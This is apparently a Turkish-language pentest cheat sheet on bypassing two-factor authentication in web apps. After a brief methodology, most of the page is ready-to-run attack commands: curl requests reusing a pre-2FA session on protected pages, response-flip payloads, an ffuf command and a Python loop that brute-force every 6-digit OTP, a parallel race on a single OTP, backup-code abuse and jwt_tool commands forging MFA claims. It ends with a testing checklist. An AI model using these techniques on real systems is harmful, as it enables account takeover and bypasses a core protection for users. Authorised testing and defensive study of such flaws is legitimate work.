Skip to content

2FA/MFA/OTP Bypass

web auth

İkinci faktör çoğu uygulamada ek bir HTTP adımıdır. Adım atlama, yanıt değiştirme, OTP brute ve yedek kod suistimali klasik yollardır.

  1. Login → 2FA → hedef kaynak akışını haritala (parametreler, cookie, JWT claim).

  2. 2FA adımını atlayıp doğrudan korunan URL/API’yi dene.

  3. OTP brute / response flip / race koşullarını doğrula.

  4. Backup code, remember-me ve alternatif kanal (SMS/email link) yüzeylerini tara.

Terminal window
curl -sk https://TARGET/login -d 'user=victim&pass=Password1' -c jar
Terminal window
# 2FA tamamlamadan:
curl -sk https://TARGET/account -b jar
Terminal window
curl -sk https://TARGET/api/user/me -b jar -H 'Authorization: Bearer TOKEN_FROM_STEP1'
/login → /2fa → /dashboard yerine doğrudan /dashboard veya /api/*
{"success":false,"2fa_required":true} → {"success":true,"2fa_required":false}
HTTP 401 → 200
"otp_ok": false → true
POST /2fa/verify HTTP/1.1
Host: TARGET
Cookie: session=PRE_2FA
otp=000000
Burp: yanıtı intercept edip status/body flip
Terminal window
ffuf -u https://TARGET/2fa -X POST -d 'otp=FUZZ' -w otp-6digit.txt -b 'session=PRE_2FA' -mc 200,302 -rate 10
import requests
s=requests.Session()
# login first...
for i in range(0,1000000):
otp=f'{i:06d}'
r=s.post('https://TARGET/2fa', data={'otp':otp})
if 'Invalid' not in r.text and r.status_code!=401:
print('HIT', otp); break
6 haneli OTP + rate-limit yok = pratik brute
Terminal window
# Aynı OTP'yi paralel gönder
seq 1 20 | xargs -P20 -I{} curl -sk https://TARGET/2fa -b jar -d 'otp=123456'
OTP kullanıldıktan sonra kısa süre daha geçerli kalıyorsa race ile ikinci oturum
Terminal window
curl -sk https://TARGET/account/backup-codes -b jar
Terminal window
curl -sk https://TARGET/2fa/recovery -d 'code=ABCD-1234' -b jar
Eski backup code listesi, email magic link, SMS OTP prediction
Terminal window
jwt_tool TOKEN -I -pc mfa -pv true -S hs256 -p 'secret'
"amr": ["pwd"] → ["pwd","otp"]
"mfa": false → true
[ ] 2FA öncesi session ile korunan kaynak denendi
[ ] Response/status flip denendi
[ ] OTP brute / race denendi
[ ] Backup/recovery kanalı denendi
[ ] Token claim manipülasyonu denendi
[ ] Yetkili oturum kanıtlandı